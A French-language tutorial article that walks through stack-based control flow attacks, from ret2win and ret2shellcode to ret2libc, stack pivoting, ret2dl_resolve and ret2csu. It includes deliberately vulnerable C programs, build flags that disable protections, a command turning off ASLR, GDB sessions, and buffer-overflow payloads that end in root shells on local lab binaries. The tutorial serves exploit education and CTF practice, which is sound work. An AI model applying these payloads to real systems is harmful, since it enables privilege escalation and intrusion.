Stack overflow : tout ce que la stack
peut t'offrir
ret2win, ret2shellcode, ret2libc, frame faking, off-by-one, ret2dl_resolve... Un tour complet des Stack-based Control Flow Attacks avec la logique derrière chaque technique, pas juste les noms.
Maxime Jérôme··12 min de lecture
Prérequis
- Compréhension des fichiers ELF : Segmentation Mémoire
- Maniement de GDB
- Introduction au PWN
Hello ! o/
On va voir les différentes attaques de contrôle de flow sur la stack. Pour vous rassurer, on s'en fout d'apprendre par coeur les noms de techniques, le but c'est pas ça. Le but c'est de comprendre les logiques derrières ces techniques, et peut-être en formaliser certaines. À un moment vous avez le mindset et on s'en fout du nom des techniques, surtout dans le milieu des CFA (Control Flow Attacks).
Alors, commençons !
ret2win
Le ret2win... Bon, ça ça arrive qu'en CTF néophyte. Le principe est simple : donner à EIP la valeur de la fonction qui fait poper un shell, après qui sait... un dev un peu trop surmené qui a oublié d'enlever sa fonction de debug ;)
Voici le programme qu'on va prendre en exemple :
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vuln (void);
void win (void);
int main (int argc, char *argv[])
{
vuln();
return EXIT_SUCCESS;
}
void vuln (void)
{
char buffer[32];
(void) gets(buffer);
}
void win (void)
{
setuid(0);
system("/bin/bash");
}Et voici son Makefile :
CC=gcc
NO_PIE=-fno-pie -no-pie
NO_SSP=-fno-stack-protector
NO_NX=-z execstack
NO_CET=-fcf-protection=none
PIE=-pie -fpie
SSP=-fstack-protector
NX=-z noexecstack
CET=-fcf-protection=full --enable-cet=yes
X86=-m32
x86_64=-m64
EXEC="prog"
all:
${CC} ${NO_PIE} ${NO_SSP} ${NO_CET} ${X86} -Wall -std=c89 code.c -o ${EXEC} $ make
gcc -fno-pie -no-pie -fno-stack-protector -fcf-protection=none -m32 \
-Wall -std=c89 code.c -o prog
$ file prog
prog: ELF 32-bit LSB executable, Intel 80386, not strippedEt.. Maintenant on PWN (Perfectly Owned) !! Bon, du coup on va faire simple : on va simplement faire en sorte que EIP = &win. Pour ça, on va y aller comme de gros cochons : on est en local donc on va foutre le merdier dans la stack, et voir qu'est-ce qui prend EIP comme valeur.
(gdb) run <<< $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*80)")
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers eip
eip 0x41414141 0x41414141On attend la fin de la fonction, puisque la dernière instruction ret va pop eip. Au final elle prend une valeur de la stack, et nous on va la contrôler.
(gdb) b *vuln+XX ; breakpoint sur le RET
Breakpoint 1, 0x080491XX in vuln ()
(gdb) ni
0x41414141 in ?? ()
=> ESP[0] = 0x41414141 <- on contrôle çaOn cherche l'offset exact avec cyclic / pattern_create. Ici l'offset est de 44.
payload = b"A" * 44 + b"BITE"
(gdb) run <<< $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*44+b'BITE')")
Program received signal SIGSEGV
=> EIP = 0x45544942 ("BITE") <- offset confirmé : 44Bon, notre offset est de 44. Maintenant on va juste remplacer "BITE" par l'adresse de win. Et n'oubliez pas de désactiver l'ASLR (Address Space Layout Randomization) lol, ça serait bête de bloquer à cette étape :
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space (gdb) p win
$1 = {void ()} 0x080491b6 <win>
payload = b"A" * 44 + p32(0x080491b6)
$ python3 exploit.py | ./prog
# whoami
root
C'est PWN !ret2shellcode
Le principe est simple : faire en sorte qu'EIP arrive sur notre shellcode. Un shellcode c'est juste du code qui va exécuter un shell.
La question se pose : où diable va-t-on foutre ce shellcode dans le programme ? La réponse : lol, là où c'est exécutable et writable.
Aujourd'hui avec la protection NX (No-eXecute) / DEP (Data Execution Prevention) / W^X (Write XOR Execute) on peut pas mettre notre shellcode n'importe où, mais on peut s'amuser avec mprotect(.data, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC) pour bypasser. Là on va juste montrer l'exemple simple.
Voici le code vulnérable :
#include <stdio.h>
#include <stdlib.h>
void vuln (void);
int main (int argc, char *argv[])
{
vuln();
return EXIT_SUCCESS;
}
void vuln (void)
{
char buffer[32];
(void) gets(buffer);
}CC=gcc
NO_PIE=-fno-pie -no-pie
NO_SSP=-fno-stack-protector
NO_NX=-z execstack
NO_CET=-fcf-protection=none
X86=-m32
EXEC="prog"
all:
${CC} ${NO_PIE} ${NO_SSP} ${NO_NX} ${NO_CET} ${X86} -Wall -std=c89 code.c -o ${EXEC}On utilisera ce shellcode (attention, il est populaire :))
Au final, il faut juste jumper sur la stack, sur notre nopsled qui nous amènera gentillement à notre shellcode. Y'en a qui mettent tout dans le payload, style :
[junk] [eip] [nopsled] [shellcode]Mais bon, faut une adresse de la stack, donc pas d'ASLR/PIE, ou alors faudrait un leak. Le nopsled c'est juste un bunch d'instructions NOP (0x90).
D'autres fois on jump directement dans une variable d'environnement, mais là aussi c'est le même problème :
export ENV=[nopsled] [shellcode]
[junk] [eip]Le plus propre est de jumper sur .data (ou autre section writable) et de mettre .data en exécutable, et là ça pète pas mal de choses, puisqu'on s'en fout d'ASLR et de NX. Sachez-le, mais là on va pas faire ça.
On va faire l'exploit avec la variable d'environnement. Vous pouvez retrouver le programme getenv ici pour récupérer l'adresse exacte de la variable d'env :
# On exporte le shellcode dans une variable d'env
export SHELLCODE=$(python3 -c "print('\x90'*100 + '<shellcode>')")
# getenv nous donne l'adresse de la variable
$ ./getenv SHELLCODE ./prog
SHELLCODE is at 0xffffd3c0
# Payload : 44 junk + adresse de l'env
payload = b"A" * 44 + p32(0xffffd3c0)
$ python3 exploit.py | ./prog
$ whoami
rootVoilà, c'est aussi simple que ça.
ret2main
Le ret2main est une technique qui vise à retourner sur la fonction main. On va pas faire d'exemple, vous l'avez compris : eip = main :).
Dans quel cas va-t-on utiliser cette technique ? Quand vous pouvez pas atteindre 2 features d'un coup : vous allez par exemple leak une adresse, votre programme plante s'il y a pas d'adresse de retour, donc on met main pour pouvoir pwn avec un élément en plus !
ret2reg
Le principe du ret2reg est assez cool : ça consiste à jumper non pas sur une adresse hardcodée, mais sur la valeur d'un registre : eip = eax.
Donc c'est un peu bête, mais on va chercher des instructions comme :
call eax
jmp eax
jmp rsp
...ret2plt
Le principe du ret2plt est d'appeler une fonction/procédure de la PLT (Procedure Linkage Table). C'est utile car on a pas besoin de leak : les adresses de la PLT sont fixes (sauf si protection PIC, Position-Independent Code).
eip = func@pltEt voici votre stack :
| Adresse (croissante vers le bas) | Contenu |
|---|---|
ESP+0 | junk (remplissage jusqu'à EIP) |
ESP+N | saved EIP = func@plt |
ESP+N+4 | adresse de retour de func@plt |
ESP+N+8 | 1er paramètre |
ESP+N+12 | 2e paramètre |
... | ... |
ESP+N+4k | n-ième paramètre |
ret2libc
Le ret2libc est pareil que le ret2plt, sauf que là on appelle la fonction directement dans la libc. Le but c'est d'utiliser les fonctions qu'on veut : par exemple on peut appeler system pour exécuter /bin/sh.
La stack est la même que pour le ret2plt :
| Slot stack | Contenu |
|---|---|
junk | remplissage jusqu'au saved EIP |
saved EIP | system@libc |
ret de system | XXXX (adresse de retour après system) |
arg1 | "/bin/sh\0" |
ESP lifting
L'ESP lifting est une technique pour exploiter les fonctions qui n'utilisent pas les pointeurs de stack (ESP/EBP). Elle est utilisable contre les programmes compilés avec le flag -fomit-frame-pointer.
On va utiliser l'épilogue (la fin d'une fonction) de ces fonctions, ça ressemble à ça :
add esp, <integer>
retEn vrai y'a aussi des épilogues qui font juste du pop-ret, du coup on bouge de 4 octets :
pop reg
retAu final la technique est juste d'utiliser une de ces fonctions en tant qu'adresse de retour pour retourner dans une stack plus haute (et contrôlée) :
+--------------------------+
| junk |
+--------------------------+
| saved EIP = épilogue | épilogue : add esp, k; ret
+--------------------------+
| . . . | } k octets
+--------------------------+
| zone contrôlée | <- ESP atterrit ici, RET exécute notre payload
+--------------------------+Frame faking / Stack pivoting
Lorsque vous voulez vous amuser sur votre stack mais que celle-ci est instable... vous n'avez pas le choix : il faut pivoter. Le principe est de faire en sorte que notre stack change d'endroit.
Le frame faking consiste à écraser la sauvegarde d'EBP pour retourner ESP sur une fausse stackframe. Ce qui est cool c'est qu'on peut tromper ce que le code va lire, et donc détourner le flow d'exécution.
Frame 1 (fonction vulnérable)
+-----------------------------+
| buffer / junk |
+-----------------------------+
| saved EBP <- ON ECRASE | pointe vers Frame 2 (fausse)
+-----------------------------+
| saved EIP <- ON ECRASE | pointe vers un gadget "leave; ret"
+-----------------------------+
leave = mov esp, ebp ; pop ebp
Frame 2 (fausse stackframe qu'on a préparée)
+-----------------------------+
| fake EBP |
+-----------------------------+
| adresse payload / gadget | <- après le 2e leave;ret, EIP va ici
+-----------------------------+
| ...payload ROP/shellcode...|
+-----------------------------+
Déroulé :
1. leave (frame 1) : esp = fake_ebp ; pop ebp (fake EBP charge dans EBP)
2. ret : pop eip => gadget "leave;ret"
3. leave (frame 2) : esp = EBP (qu'on contrôle) ; pop ebp
4. ret : pop eip => notre payloadOn peut tromper ce que le code va lire, et donc détourner le flow d'exécution. Puis c'est gagné car on fait un ret / pop eip sur une stack contrôlée.
Off-by-one
Les attaques de type off-by-one peuvent s'avérer fréquentes mais difficiles d'exploitation. C'est une attaque où on peut réécrire 1 octet de plus dans notre buffer. Dans certains cas, on peut réécrire une partie d'EBP, ce qui nous servirait à contrôler la stack.
Pourquoi si dangereux ?
leave; ret. Couplé au frame faking ci-dessus, c'est redoutable.ret2dl_resolve
Pour comprendre cette partie, vous devrez absolument comprendre le fonctionnement du linker dynamique ELF. Faut vraiment comprendre comment dl-runtime.c fonctionne.
Cette technique permet de tromper le linkage dynamique d'ELF et donc de pouvoir résoudre une fonction (genre printf) par celle que l'on veut. Pas besoin de leak !
Il suffit de créer des structures JMPREL, DYNSYM et STRTAB et appeler une fonction pour la première fois pour tromper _dl_fixup(link_map, reloc_arg). C'est reloc_arg qui contiendra toutes les structures nécessaires pour que l'exploit puisse fonctionner. STRTAB contiendra la chaîne system .
.data (zone writable, on y écrit nos structures forgées)
+--------------------------+ <- reloc_arg pointe ici (offset dans .rel.plt)
| JMPREL (Elf32_Rel) |
| r_offset = GOT entry | GOT = Global Offset Table
| r_info = (dynsym_idx |
| << 8) | 0x7 |
+--------------------------+
| DYNSYM (Elf32_Sym) |
| st_name = strtab_offset|
| st_value = 0 |
| ... |
+--------------------------+
| STRTAB |
| "system " | <- _dl_fixup va résoudre "system" dans libc
+--------------------------+Alignement critique
_dl_fixup les accepte.ret2csu
Globalement le ret2csu s'applique à tous les binaires ELF x64 et permet de contrôler RDX. Perso dans la vraie vie j'y vois pas trop d'intérêt : on a des gadgets de partout ; en CTF pourquoi pas. Ca permet d'exploiter la fonction __libc_csu_init. Il y a 2 gadgets dans cette fonction :
Gadget 1 : setup des registres via une série de pops
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retGadget 2 : utilise ces registres pour appeler du code et charger RDX
mov rdx, r15 ; <-- RDX = r15, qu'on a contrôlé via gadget 1
mov rsi, r14
mov edi, r13d
call QWORD PTR [r12 + rbx * 8]
add rbx, 0x1
cmp rbp, rbx
jne <__libc_csu_init+0x40>
add rsp, 0x8Donc on a juste à contrôler RDX avec l'aide de R15, c'est tout.
Résumé des techniques
Article suivant
Casser la heap pour détourner un binaire